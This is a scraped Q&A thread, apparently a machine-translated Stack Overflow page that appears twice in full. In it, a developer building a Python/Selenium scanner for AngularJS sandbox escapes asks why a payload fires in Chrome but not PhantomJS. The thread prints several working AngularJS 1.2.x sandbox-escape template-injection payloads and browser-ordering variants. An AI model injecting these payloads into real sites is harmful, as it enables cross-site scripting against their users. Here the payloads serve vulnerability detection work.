PhantomJS/WebKit 中的奇怪 JavaScript 行为
Weird JavaScript behavior in PhantomJS/WebKit
我正在 Python 中构建一个应用程序,用于检查某个 Web 应用程序是否容易受到 AngularJS 沙箱 Escape/Bypass.
的攻击
这是它的工作原理。
我的应用使用以下内容启动本地网络服务器 (http://localhost
)。
<!DOCTYPE html>
<html>
<head>
<script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
</head>
<body ng-app="">
{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
</body>
</html>
我使用的 Sandbox Escape payload 是 {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
,由于 open(1)
调用,它应该打开一个新的 window。
启动 Web 服务器后,它使用 Selenium(以 PhantomJS 作为驱动程序)检查是否由于 AngularJS 沙盒逃逸而打开了新的 window。
capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False
browser = webdriver.PhantomJS(
executable_path="../phantomjs/win-2.1.1",
desired_capabilities=capabilities,
)
browser.get("http://localhost/")
return len(browser.window_handles) >= 2
我面临的问题
PhantomJS 没有打开新的window。当我使用 Google Chrome 导航到 http://localhost
时,它 会 打开一个新的 window.
这里是 PhantomJS 控制台日志(包含两个错误):
[
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
},
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
}
]
这是 Google Chrome 控制台日志(抛出错误但确实打开了一个新的 window):
Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
at angular.js:36
at Object.r (angular.js:8756)
at k.$digest (angular.js:12426)
at k.$apply (angular.js:12699)
at angular.js:1418
at Object.d [as invoke] (angular.js:3917)
at c (angular.js:1416)
at cc (angular.js:1430)
at Xc (angular.js:1343)
at angular.js:21773
其他一些 AngularJS Sandbox Escape 有效载荷工作没有任何问题。例如下面的有效载荷(对于 AngularJS 版本 1.0.0 到 1.1.5)在 Chrome 以及 PhantomJS 中打开一个新的 window。
{{constructor.constructor('open(1)')()}}
希望有人能帮我解决这个问题,这样我就可以检测到payload是否执行成功了。
请注意,我使用的是 open(1)
而不是 alert(1)
,因为无法在 PhantomJS 中检测到警报。
提前致谢。
更新 1:
这是一个在 Google Chrome 中工作的 JSFiddle,但在 PhantomJS 中不起作用。我正在寻找解决方案(可能是有效负载或 PhantomJS 设置或其他内容的更改),以便有效负载也在 PhantomJS 中触发。
https://jsfiddle.net/x90ey5fa/
更新二:
我发现它与 AngularJS 无关。下面的 JSFiddle 包含 4 行 JavaScript,它们在 Google Chrome 中有效,但在 PhantomJS 中无效。我还附上了 PhantomJS 的控制台日志。
https://jsfiddle.net/x90ey5fa/2/
{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n Function (undefined:1)\n sort (:0)", 'timestamp': 1501795341539}`
版本详情:
Operating System: Windows 10 x64
Python version: 3.6.1
Google Chrome version: 60.0.3112.78
PhantomJS version: 2.1.1
Selenium version: 3.4.3 (installed via PIP)
您可以通过多种方式进行。仅举几例:
您可以创建(或删除)一个 HTML 元素并在 Selenium 中检测它。
此外,你可以做一个 console.log
并用这个检测它:Is there a way to view PhantomJS console.log messages via Selenium/GhostDriver?
其他方法可以是调用 PhantomJS function,它会直接将您想要的任何有效载荷通知幻影实例(只要有效载荷是 JSON.stringifable).
从未使用过 Selenium,所以不知道您是否可以访问 PhantomJS/page 实例。如果 Selenium 允许您这样做,您可以这样做:
phantomjs.page.onCallback = function(data) {
console.log('CALLBACK: ' + JSON.stringify(data));
};
并且在您的网页中:
{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","window.callPhantom && window.callPhantom('YAY!')"].sort(c)}}
比如,只要你能运行你想要的JavaScript代码,你能想到什么都可以
一个简单的方法是 "reverse mode".
- Selenium 可以在页面上检测到什么?回复:Wait for an element to appear.
- 我该如何进行这些更改?回复:Creating an element and attaching it to the body 供 Selenium 检测。
您的 Safari 错误非常有启发性(我很后悔没有仔细阅读它)。观察:
Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.
这 parameter declaration
部分很重要。
有效载荷的作用是
- 将
c
设置为 toString
构造函数,Function
(创建函数)
- 将
Function
原型的 toString
方法重定向到 call
- 使用
c
对数组进行排序,从而通过 Function("a", "open(1)")
创建一个新函数
- 我不确定为什么,但是这个
sort
的结果通过 toString
转换为字符串,它已被重定向到 call
,导致调用新函数,调用 open(1)
无论如何,这就是 Chrome 中的工作方式。但是 .sort()
不一定在所有浏览器中都以相同的方式工作。它只是应该对事物进行排序...那么为什么它查看 项目的顺序很重要?毕竟,传递的函数应该确保一切都以正确的顺序出现。
与MDN says一样,Function
的语法是
Function ([arg1[, arg2[, ...argN]],] functionBody)
WebKit 正在对其进行排序 "backwards",因此不会调用 Function("a", "open(1)")
,而是调用 Function("open(1)", "a")
。当给出多个参数时,最后一个参数被假定为函数体,其余所有参数都被解释为参数。这就是您获得意外令牌的原因。括号不是参数名称的有效部分。
这是一个替代方案:
c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)
我在基于 QtWebKit 的浏览器中对其进行了测试,它可以正常工作。当然它也会在 Chrome 上引起 SyntaxError 因为参数是 "backwards"...
以下是使它在 PhantomJS 和 Chrome 上的 Angular 中无缝工作的几种尝试。同样,这些都不起作用。我将它们留在这里,以防它们激发某人创建更完整的解决方案。
适用于 PhantomJS 和 Chrome 但不适用于 Angular(由于 function
):
[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)
在 Chrome 上与 Angular 一起工作,但不适用于 PhantomJS:
c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)
我正在 Python 中构建一个应用程序,用于检查某个 Web 应用程序是否容易受到 AngularJS 沙箱 Escape/Bypass.
的攻击这是它的工作原理。
我的应用使用以下内容启动本地网络服务器 (http://localhost
)。
<!DOCTYPE html>
<html>
<head>
<script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
</head>
<body ng-app="">
{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
</body>
</html>
我使用的 Sandbox Escape payload 是 {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
,由于 open(1)
调用,它应该打开一个新的 window。
启动 Web 服务器后,它使用 Selenium(以 PhantomJS 作为驱动程序)检查是否由于 AngularJS 沙盒逃逸而打开了新的 window。
capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False
browser = webdriver.PhantomJS(
executable_path="../phantomjs/win-2.1.1",
desired_capabilities=capabilities,
)
browser.get("http://localhost/")
return len(browser.window_handles) >= 2
我面临的问题
PhantomJS 没有打开新的window。当我使用 Google Chrome 导航到 http://localhost
时,它 会 打开一个新的 window.
这里是 PhantomJS 控制台日志(包含两个错误):
[
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
},
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
}
]
这是 Google Chrome 控制台日志(抛出错误但确实打开了一个新的 window):
Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
at angular.js:36
at Object.r (angular.js:8756)
at k.$digest (angular.js:12426)
at k.$apply (angular.js:12699)
at angular.js:1418
at Object.d [as invoke] (angular.js:3917)
at c (angular.js:1416)
at cc (angular.js:1430)
at Xc (angular.js:1343)
at angular.js:21773
其他一些 AngularJS Sandbox Escape 有效载荷工作没有任何问题。例如下面的有效载荷(对于 AngularJS 版本 1.0.0 到 1.1.5)在 Chrome 以及 PhantomJS 中打开一个新的 window。
{{constructor.constructor('open(1)')()}}
希望有人能帮我解决这个问题,这样我就可以检测到payload是否执行成功了。
请注意,我使用的是 open(1)
而不是 alert(1)
,因为无法在 PhantomJS 中检测到警报。
提前致谢。
更新 1:
这是一个在 Google Chrome 中工作的 JSFiddle,但在 PhantomJS 中不起作用。我正在寻找解决方案(可能是有效负载或 PhantomJS 设置或其他内容的更改),以便有效负载也在 PhantomJS 中触发。
https://jsfiddle.net/x90ey5fa/
更新二:
我发现它与 AngularJS 无关。下面的 JSFiddle 包含 4 行 JavaScript,它们在 Google Chrome 中有效,但在 PhantomJS 中无效。我还附上了 PhantomJS 的控制台日志。
https://jsfiddle.net/x90ey5fa/2/
{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n Function (undefined:1)\n sort (:0)", 'timestamp': 1501795341539}`
版本详情:
Operating System: Windows 10 x64
Python version: 3.6.1
Google Chrome version: 60.0.3112.78
PhantomJS version: 2.1.1
Selenium version: 3.4.3 (installed via PIP)
您可以通过多种方式进行。仅举几例:
您可以创建(或删除)一个 HTML 元素并在 Selenium 中检测它。
此外,你可以做一个 console.log
并用这个检测它:Is there a way to view PhantomJS console.log messages via Selenium/GhostDriver?
其他方法可以是调用 PhantomJS function,它会直接将您想要的任何有效载荷通知幻影实例(只要有效载荷是 JSON.stringifable).
从未使用过 Selenium,所以不知道您是否可以访问 PhantomJS/page 实例。如果 Selenium 允许您这样做,您可以这样做:
phantomjs.page.onCallback = function(data) {
console.log('CALLBACK: ' + JSON.stringify(data));
};
并且在您的网页中:
{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","window.callPhantom && window.callPhantom('YAY!')"].sort(c)}}
比如,只要你能运行你想要的JavaScript代码,你能想到什么都可以
一个简单的方法是 "reverse mode".
- Selenium 可以在页面上检测到什么?回复:Wait for an element to appear.
- 我该如何进行这些更改?回复:Creating an element and attaching it to the body 供 Selenium 检测。
您的 Safari 错误非常有启发性(我很后悔没有仔细阅读它)。观察:
Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.
这 parameter declaration
部分很重要。
有效载荷的作用是
- 将
c
设置为toString
构造函数,Function
(创建函数) - 将
Function
原型的toString
方法重定向到call
- 使用
c
对数组进行排序,从而通过Function("a", "open(1)")
创建一个新函数
- 我不确定为什么,但是这个
sort
的结果通过toString
转换为字符串,它已被重定向到call
,导致调用新函数,调用open(1)
无论如何,这就是 Chrome 中的工作方式。但是 .sort()
不一定在所有浏览器中都以相同的方式工作。它只是应该对事物进行排序...那么为什么它查看 项目的顺序很重要?毕竟,传递的函数应该确保一切都以正确的顺序出现。
与MDN says一样,Function
的语法是
Function ([arg1[, arg2[, ...argN]],] functionBody)
WebKit 正在对其进行排序 "backwards",因此不会调用 Function("a", "open(1)")
,而是调用 Function("open(1)", "a")
。当给出多个参数时,最后一个参数被假定为函数体,其余所有参数都被解释为参数。这就是您获得意外令牌的原因。括号不是参数名称的有效部分。
这是一个替代方案:
c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)
我在基于 QtWebKit 的浏览器中对其进行了测试,它可以正常工作。当然它也会在 Chrome 上引起 SyntaxError 因为参数是 "backwards"...
以下是使它在 PhantomJS 和 Chrome 上的 Angular 中无缝工作的几种尝试。同样,这些都不起作用。我将它们留在这里,以防它们激发某人创建更完整的解决方案。
适用于 PhantomJS 和 Chrome 但不适用于 Angular(由于 function
):
[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)
在 Chrome 上与 Angular 一起工作,但不适用于 PhantomJS:
c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)